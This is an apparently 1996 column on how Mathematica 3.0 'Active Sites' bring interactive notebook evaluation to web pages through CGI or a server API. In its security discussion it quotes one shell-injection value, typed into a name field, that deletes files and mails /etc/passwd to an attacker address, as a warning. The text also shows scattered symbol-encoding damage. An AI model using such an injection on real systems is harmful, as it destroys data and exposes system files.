Active Sites

Mathematica 3.0  becomes an interactive World Wide Web site.

by Matthew Thomas

Mathematica has never existed in a vacuum. Rather, it has always served to complement other software packages of its era. In the late 1980s, for example, a regional computer publication featured the use of Mathematica version 1.2 with Macromind VideoWorks II to animate z = sin 2xy sin (t using 0.125-second steps [Thomas 1989]. A less ambitious project could hardly be imagined. Not Mathematica but VideoWorks II was used for the animation, which was a loop of 16 figures comprising but 9 "cast members" (in VideoWorks vernacular) generated from 0 ≤ t ≤ 1/2 seconds and 1 1/8  ≤ t  ≤ 1 1/2 seconds  in (t = 1/8-second increments. Plot3D[ ], with most default option settings left untouched, was used to create the members, which were whisked into the VideoWorks cast upon completion. Would that a one-handed circular clock, with a tic every 22.5 degrees and 16 tics total (representing a two-second period) were next to the function: This multichannel animation was the primary advantage VideoWorks II could offer over a simple Mathematica 1.2 animation.

In the early 1990s, Mathematica was used with Pixar RenderMan to illustrate the geometry of a soap-bubble cluster [Sullivan 1991], by way of a 4-D analogue of the dodecahedron (a dodecoplex or 120-cell). While Mathematica was used to generate the required surfaces in stereographic projection, RenderMan performed the actual surface rendering. A more recent examination of soap bubble shapes [Hass and Schlafly 1996] makes use of these types of illustrations, while regrettably omitting citations of the software used to create them.

Since the early N90s, Pixar has gone on to supply the technology behind the acclaimed 1995 motion picture "Toy Story," the first major-release movie done entirely in 3-D animation. Macromind has evolved into Macromedia, and VideoWorks into Director. Macromedia Director 5.0 is the acknowledged industry standard in multimedia authoring software [Florio and Murie  1996]. And Wolfram Research, having already captured every function in Abramowitz and Stegun's handbook in version 2.0 of its flagship product, now unveils Mathematica 3.0.

Well before this latest version of Mathematica debuted, MathReader was available to assist those wanting to view Mathematica notebooks without the benefit of the Mathematica package. Incapable of evaluation but well-geared toward full graphics display and animation, MathReader is to Mathematica what the VideoWorks Player was to VideoWorks II--a free means of viewing results generated by the main software package, with limited functionality so as not to imperil sales of the main package. At the turn of the decade, many software packages touted their capabilities through non-interactive demos on diskettes. The would-be buyer popped such a diskette into her or his computer, rebooted, and stared passively at the monitor screen as it displayed a sequence of pre-determined software functions and their effects. Little was left for the would-be buyer to do, except cover the diskette hole and attempt to use it for storage (a fate now met by most America On-Line free-trial diskettes). But MathReader and the VideoWorks Player were different: They were not mere value-void demos; rather, they were value-adding tools, treated by their respective companies as are most client-side World-Wide Web software packages (i.e., given away).

Whereas MathReader allows for viewing Mathematica notebooks without benefit of the package itself, MathLink allows for other software to send input to and receive output from Mathematica, therein treating what once was A System For Doing Mathematics By Computer as a subroutine. Similarly, Mathematica can use MathLink to receive data from other software packages, likewise treating them as subroutines. MathLink reinforces the concept that Mathematica has never existed in a vacuum. Stephen Wolfram's The Mathematica Book for version 3.0 provides an expanded treatment of both MathReader and MathLink.

With its rich history of interaction with other software established by pre-3.0 versions, with MathLink to ensure continuation of that interaction, and with MathReader providing notebook access to those who don't have it, where would Mathematica 3.0 go? It would go where we've all gone--to the World-Wide Web. A few items for converting notebooks to Hyper-Text Markup Language (HTML) documents for display on the Web have long been available through MathSource—we'll briefly examine these. But we'll then probe a version 3.0-compatible concept, labeled Active Sites, for granting dynamic access to Mathematica through the Web. It is a concept that extends beyond MathReader and MathLink, and may change the way that Mathematica in particular and software in general are sold and run.

Notebook Converters from MathSource

On the World-Wide Web, you get to MathSource by setting your browser to www.wolfram.com, then following the MathSource link. Upon reaching MathSource, if you then do a search on "HTML," you'll find (as of November 1996) three MathSource items ... two of which actually involve HTML. Both items are notebook-to-HTML converters.

The first of these converters is item 0207-807, "Notebook to HTML Converter for World Wide Web" by Terry Robb. If you gain access to MathSource via anonymous FTP, you can find this item in the pub/General/Utilities directory. Dated May 1995, this item comprises the 3 kB UNIX shell script "nb2html" (0207-807-0011) and the 19 kB C-program source code "nb2html_filter.c" (0207-807-0022). The abstract promises examples of this item's use at URL www.maths.monash.edu.au/people/tdr/nbks/Index.html.

The second of these converters is a neighbor of the first in the pub/General/Utilities directory, and is item 0207-829, "math2html" by H. Edward Donley. Dated September 1995, Donley's item comprises the 21 kB archive "math2html.1.1a.tar.Z" containing a Perl program and documentation (0207-829-0011), the 2 kB installation instructions "math2html.1.1a.INSTALL.txt" (0207-829-0022), and a 252-byte blurb "README.namechange" explaining the name change of this item from "mma2html" to "math2html" (0207-829-0033). More information regarding this item can be found at URL www.ma.iup.edu/MathDept/Projects/CalcDEMma/Summary.html (through selecting the "Newton's Method and Fractals" link).

Let us say that you download the Robb or the Donley converter and apply it to your notebook. Upon conversion (the efficacy of which would require a separate MathSource review), you place the resulting HTML file on your Web server, so that all the wired world could visit your new page. At that point, the page may capture the essence of your Mathematica notebook, but alas, it is static. Even if the page contains links to other pages, preserves the graphics generated in the notebook, and allows for animations, it is nonetheless static -- it allows for no further use of the Mathematica kernel; it accepts no further Mathematica evaluations. So if your page contains a Plot3D[ ] - rendered image of sin 2xy sin (t, generated using the default viewpoint with the default colors, a visitor to your page can gaze upon it and remark "yea, verily, sin 2xy sin (t; what a simple function to present in three dimensions for a given time t." But that visitor cannot change the viewpoint, change the colors, or change the function. Again, the page is static, allowing no fresh input from Mathematica.

Notebook-to-HTML converters such as Robb's and Donley's perform a valuable service: Most Mathematica notebooks, reformatted and presented as static Web pages, are inherently more useful than a vast number of the Web pages now available for viewing. The converted notebooks can be very instructive, just as a good textbook can be very instructive. But hordes of calculus instructors did not take to Mathematica just to teach from printed Mathematica output. Mathematica and its notebooks are inherently dynamic; that trait is what attracted the teachers of calculus.

The issue, then: How can the dynamic nature of a Mathematica notebook be captured on a Web page?

Dynamic Web pages; Active Sites

The issue of dynamic Web page creation has been addressed in great detail by parties having no connection to Wolfram Research. In mid-1993, two workers at the National Center for Supercomputing Applications (NCSA -- coincidentally co-located with Wolfram Research in the Urbana-Champaign, IL area) discussed the need by corporations to process information obtained from visitors to their Web sites. These workers -- Marc Andreessen [now of Netscape Navigator fame] and Rob McCool -- were the creators of the NCSA Mosaic Web browser and the NCSA server, and they understood the need for a means to connect Web browsers to server programs and files. Common Gateway Interface (CGI) programming was developed to meet that need [Wiggins 1996].

CGI programs ("scripts" in CGI parlance) can be written in a wide variety of languages. Perl is a common language for such scripts; many are also written in C and Visual Basic. The CGI program is initiated when a Web browser connects with a Web server, to send or request information. Upon CGI program execution, the results are sent to a Hypertext Transport Protocol (HTTP) server, from which they make their way to their requestor. An advantage of CGI is its portability across different HTTP server platforms. But that advantage is also a disadvantage: Each data request event spawns a new CGI-driven process, thereby having an adverse impact on server performance.

An alternative to CGI is the Application Programming Interface (API). Whereas CGI has cross-platform capability, a server API is associated with but one type of server platform. But API is more efficient: It requires less memory, since initialization occurs not after each request (as with CGI) but only once. API allows Web browsers (clients) and servers to remain connected during the viewing of a page; a new connection need not be established upon each request. Popular APIs include the Netscape Application Programming Interface (NSAPI), the Microsoft Internet Server Application Programming Interface (ISAPI), the Apache API, and O'Reilly & Associates' WebSite Application Programming Interface (WSAPI) [Greenstein, 1996]. Wiggins [1996] provides a useful survey of "Web middleware" packages that are primarily API-based ... packages designed to generate information for the webmaster without compelling him/her to write scripts.	
	The role that Java now plays in rendering a Web page dynamic is so large that it cannot be given adequate treatment in this context. A vast number of articles and (more recently) books are now out on this subject; the interested reader will be able to track these down with minimal effort. A good starting point for such tracking is URL www.javasoft.com. A number of high-end Web pages now run Java scripts to collect and display "real time" weather information and sports scores. Suffice it to say that -- among CGI, API, and Java -- the means are in place for dynamic Web page development, and those means are being implemented on a very large scale.	
	How does Mathematica fit into this advance? With the release of version 3.0, workers are now laboring to develop a concept labeled Active Sites. To put it simply (at the risk of oversimplification), Active Sites are a means of bringing the dynamic nature of Mathematica notebooks to the Web. An Active Site Web page allows for Mathematica commands to be encoded as a CGI or server API instruction, and sent across the interface to a kernel; the response from the kernel makes its way back to and is displayed by the page. The Active Site page can contain Web form elements such as input fields/boxes, pop-up menus, check boxes, radio buttons ... the standard Web page devices ... for accepting and conveying remote Mathematica kernel input.	
	The best way to describe Active Sites is to walk through one of them, and this we do in the following section. The early-model Active Sites are at a beta (if not alpha) level of development -- much work is required beyond what you are about to encounter. But at least the following section should give you a feel for Active Sites operation. Rather than Site content, please focus on operation: You will be seeing much, much more of the latter in general (than the former in particular) in months and years to come.

Working examples of Active Sites could be found (as of November 1996) at URL crc-sybase.unl.edu/cgi-bin/Notebooks. When your Web browser reaches this site, a pop-up menu greets you. This menu offers a number of Mathematica 3.0 notebooks accessible in the Active Sites format. One of these notebooks is "tour.nb." Select this item and a page offering a Tour of Mathematica greets you. As a guide to Mathematica capabilities, the Tour is severely restricted at best: It demonstrates only a few of Mathematica's capabilities. As an example of an Active Site, however, the Tour is enlightening, illustrating what Active Sites are capable of bringing to bear. Surely the Tour was intended to be the latter, and it shall be treated as such herein.	
	Above the "Tour of Mathematica" banner appears a menu strip, featuring commands Text, Working, Presentation, Open, Save, Close, Account, Tour, and Help. Preceding the "T" in the top-level Tour of Mathematica Web page is a small isosceles triangle in superscript position, pointing to the right. A switch of sorts, perhaps? Click it, and (after a bit of a wait) two things of note happen:	
	1) Said triangle points no longer to the right, but downward	2) Below "Tour of Mathematica" appear, in smaller font, "Calculate" and "Explore Equations" (the latter below the former), with each preceded by the right-pointing triangle described above. 	

	What's going on here is evident to anyone familiar with the mechanics of a Mathematica notebook: We've just opened the top-level cell group, revealing two lower-level cell groups. This opening, however, occurs not within a Mathematica front-end, but through the World-Wide Web using a Web browser. The Calculate and Explore Equations cell groups can likewise be clicked open.	
	Opening the Calculate cell group reveals four operations, each within its own cell group of input and output. These operations are, simply enough,	1) 3 + 5	2) 57.1^100	3) taking Pi to 30 decimal places	4) inverting matrix {{1, 2}, {3, 4}}.
We were aware (to understate matters) that Mathematica was capable of performing these operations well before the release of version 3.0. But the cell groups which contain each operation also contain much detail beyond the operation. Each of the four cell groups contains a menu strip, featuring commands Evaluate, New, Copy, Edit, Delete, and Hide. Only the first of those commands was enabled as of November 1996. Enclosed in boxes were addends 3 and 5 in cell group 1, exponent 100 in cell group 2, and all four 2x2 matrix elements in cell group 4: Through the browser, you can change any of these box contents, then click Evaluate in the corresponding menu strip to have Mathematica perform the operation with new arguments. Similarly, cell group 3 contains a pop-up menu offering base of natural logarithms e as well as Pi: One can take either to 30 decimal places in cell group 3. Note that in none of these four cell groups can you change the operation itself; all that you can change are the arguments to the operation.	
	Opening the Explore Equations cell group reveals three operations, each within its own cell group. These operations, a bit more complicated than their Calculate counterparts, are	1) solving the equation 1 x^2 + 1 x = a for x in terms of a (*Joe, note a is a math character. Also, make the next y' a "y [prime character]" *)
	2) integrating Sqrt[x] Sqrt[1+x] dx	3) solving the ODE y'[x] + x y[x] = 0. Again, pre-3.0 versions of Mathematica were able to handle the above. And as in the Calculate cell group above, each of the three cell groups within Explore Equations also contains the aforementioned menu strip. In cell group 1, the unity coefficients are enclosed in boxes that allow for user changes. Cell group 2 offers a pop-up menu, allowing the user to perform the integration with x in lieu of Sqrt[x] in Sqrt[x] Sqrt[1+x]. Cell group 3, solved using DSolve[ ], presents a window allowing the user to change all aspects of the cell. The Evaluate command in each menu strip allows for repeating these operations with user-modified parameters.	

	Just as clicking a right-pointing triangle opens a cell group, so it is that clicking a downward-pointing triangle closes a group. In November 1996, no means existed for saving changes to tour.nb at its source (and it is unlikely that such means will be implemented -- it is one thing to save the modified file locally, but quite another to alter it at its source).	

	Much insight into Active Sites such as tour.nb can be gained through examining the HTML code of its Web page ... readily available for perusal and reverse engineering through the "Document Source" command of Web browser Netscape Navigator (equivalent to the "Source" command of competing browser Microsoft Internet Explorer). The more open cells, the lengthier the HTML code. A set of code rich in information but of reasonable length appears when one opens the top-level "Tour of Mathematica" and the lower-level "Calculate" cell groups, but keeps the "Explore Equations" cell group closed. When we compare the tour.nb page corresponding to those cell group settings to the HTML code for that page, we cannot help but notice the correspondence of certain HTML tags and attributes to certain page features. GIF files in the SRC attributes of the INPUT tags matched graphics on the Web page, and certain Mathematica-like objects in the NAME attributes of the INPUT tags matched operations on that page.	
	Closer comparison of this page to its HTML code reveals that an AccessBar.gif file represents the menu strip atop the "Tour of Mathematica" banner, and a clickAccess[] object is used in conjunction with that file. The downward-pointing isosceles triangle preceding each open cell group is represented by an OpenGroup.gif file, while closeGroup[ ] is the object that closes the group and rotates the triangle (figuratively speaking) when it is clicked. The right-pointing triangle preceding the "Explore Equations" closed cell group is represented by a ClosedGroup.gif file, and openGroup[ ] does the cell group opening when this triangle is clicked.	

	In Calculate cell group 1, addends "3" and "5" (or whatever the user changes them to) are represented as VALUE attributes in an INPUT tag. Each addend is assigned to a variable denoted by the NAME attribute in that tag. In Calculate cell group 2, default exponent 100 or the user's choice undergoes the same type of assignation. In Calculate cell group 3, "Pi" and "E" are VALUE attributes in an OPTION tag used by the SELECT tag that creates the pop-up menu. And in Calculate cell group 4, default matrix elements 1, 2, 3, and 4 (or the corresponding user's choices) undergo the same type of assignation done in the first two cell groups.	
	
	The work that Mathematica does in each of the four cell groups is relatively simple: 3+5, 57.1^100, N[Pi, 30], and MatrixForm[Inverse[{{1, 2}, {3, 4}}]], respectively (assuming default arguments). But it is a click on the Evaluate command in each of the four menu strips that sets the Mathematica kernel in motion. The menu strip in each of the four Calculate cell groups is represented by an EvaluationBar.gif file. The clickEvaluateInterface[ ] object -- with a large number of heretofore unspecified arguments -- ostensibly sends the default or user-supplied mathematical arguments via CGI or a server API to the Mathematica kernel at crc-sybase.unl.edu, and displays operation results. Note that the four objects discussed herein (clickAccess[ ], clickEvaluateInterface[ ], closeGroup[ ], and openGroup[ ]) are not from either Mathematica 3.0 or its predecessors. One surmises that they are at the core of Active Sites operation.

Active Site Implications

What, then, are the implications that Active Sites have for Mathematica 3.0 and the World-Wide Web? 	

	In terms of Mathematica, Active Sites will offer an alternate way to experience the package indirectly. While MathReader allows for viewing a notebook, running its animations, etc., it does not allow for Mathematica evaluations ... it calls no kernel. Active Site Web pages take on the guise of a notebook, in the manner described above in terms of GIF files and what appear to be Active Sites objects. One can certainly open and close cell groups in Active Sites, just as one can do in a notebook. But Active Sites take a step beyond MathReader, in that Active Sites do allow for Mathematica evaluations ... they call remote kernels via CGI or server API as mentioned above. 	
	Since MathReader does not allow for Mathematica evaluations, the capabilities of MathReader are limited to a level below those of the full-blown Mathematica software package. In the Calculate cell groups of tour.nb, the Active Site capabilities are also limited to a level below those of the full-blown package, but in a way that differs from MathReader. In Calculate cell group 1, the user selects the addends, but the operation is fixed as addition. In group 2, the user chooses the exponent, but the operation is fixed as exponentiation. In group 3, the user chooses the constant (Pi or e), but the operation is fixed as displaying the chosen constant to 30 decimal places. In group 4, the user chooses the four matrix elements, but the operation is fixed as 2 x 2 matrix inversion. The user controls the arguments to the operation but not the operation in an Active Site; in the full-blown package, she controls both.	

	But consider again the last cell group within the Explore Equations cell group. There, not only the arguments but also the operation can be altered. So even though the surrounding cell text discusses ODE solution, the user can remove the DSolve[ ] object and replace it with one of his or her own choosing ... with a Mathematica object having nothing to do with ODEs if the user desires.  She could replace DSolve[ ] with  Plot3D[Sin[2 x y] Sin[Pi 1], {x, 0.0, 2 Pi}, {y, 0.0, 2 Pi}] if she wished. Or with Permutations[{a, b, c}]. Or with Permutations[{a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z}]. Not even the most altruistic Active Site operator would be willing to accommodate this last command, which would generate 26! lists upon completion. Forthcoming official versions of Active Sites may not support allowing the user to type in any Mathematica command, although free choice of arguments and a choice from a pop-up menu of operations might prove a viable alternative to no choice in operations at all.	

	Bearing in mind the reliance of Active Sites upon an interface such as CGI, one must apply the security-related lessons of CGI-based forms to Active Site security. Consider the CGI-based form that prompts for a user name with insufficient security checks in place. If user malicious@crack.net submits;

 rm * ; mail -s "Ha Ha" malicious@crack.net < /etc/passwd

in response to that prompt, the result would be 1) deletion of all files in the active directory, 2) receipt of an impish email message from malicious@crack.net, and 3) sending of all /etc/passwd contents to malicious@crack.net [Gundavaram 1996, p. 180]. That is a frightful amount of damage caused by such a short response. Just as CGI-based forms require security checks, so will such Active Sites, to ward off mischief from those who enjoy reading the alt.2600 Usenet newsgroup posts just a bit too much. The Active Sites security checks should also deal with new version 3.0 objects such as $HomeDirectory, $InitialDirectory, $LaunchDirectory, $ParentLink, $ProcessorType, $SystemID, and $TopDirectory, along with holdovers $MachineID, $MachineName, $MachineType, $OperatingSystem, $SessionID, and $System: Would the Site operator want all of this information divulged?	

	Assuming that the security-related issues are controlled, what are the implications of Active Sites for the World-Wide Web? Well, Wolfram Research could become smitten by altruism, and allow anyone with a Web browser to run the full-blown Mathematica 3.0 software package through WRI-run Active Sites. Since Mathematica's parent is in business to turn a profit, such is not likely to happen. As regards profits, however, Active Sites may offer a new means for generating revenue. Traditionally, software packages create revenue for their builders through sales of licenses, just as subscriptions and newsstand sales create revenue for newspaper publishers. But the latter also make money by selling ads in their papers. In this vein, Active Sites might also run advertisements of some hitherto unknown sort. The revenues from these Active Ads might be split by Wolfram Research and the Site operator. And in this era of unparalleled corporate sponsorship, perhaps companies will sign up to sponsor certain Mathematica objects, such that evaluation of such an object would return the sponsor's message before returning the output. The Site operator could rank object popularity, then set ad rates accordingly. Or, with the CyberCash, DigiCash, and NetCash concepts on the horizon, the Site operator could charge the Web browser user on a per-evaluation basis. Adding 2 and 2? One nanodollar. Animating Sin[2 x y] Sin[Pi t] for 0 £ t £ 2? Five nanodollars. Listing the permutations of a 26-element list? Five-hundred nanodollars. 	
	If WRI one day decides to make Mathematica 3.0+ available through a WRI-controlled Active Site with CyberCash et al in place, I only hope that premium-free weekends -- a la what Starwave's ESPNet Web site periodically offers -- are periodically available.

Florio, C. and M. Murie, Authoritative Authoring: Software that Makes Multimedia Happen, NewMedia, 6(12), 67-75, 1996.

Greenstein, D., API Trumps CGI, Internet World, 7(5), 32-33, 1996.

Gundavaram, S., Internet Programming on the World Wide Web, Sebastopol, CA: O'Reilly and Associates, 1996.

Hass, J. and R. Schlafly, Bubbles and Double Bubbles, American Scientist, 84(5), 462-467, 1996.

Sullivan, J.M., Generating and Rendering Four-Dimensional Polytopes, The Mathematica Journal,1(3), 76-85, 1991.

Thomas, M.M., Time-Dependent Functions Illustrated Through Graphics Animation, St. Louis Computing, 7(2), 26, 1989.

Wiggins, R., Middleware Eases the Webmaster's Burden, NewMedia, 6(14), 33-36, 1996.

ABOUT THE EDITOR

Matthew M. Thomas is a chemical engineering doctoral candidate at Washington University in St. Louis. The emphasis of his research is on control of batch chemical processes in general, and on autoclave curing of fiberglass/epoxy composite laminate materials in particular.

Matthew M. Thomas
Department of Chemical Engineering
Washington University of St. Louis
St. Louis, MO 63130-4899
thomas@wuche2.wustl.edu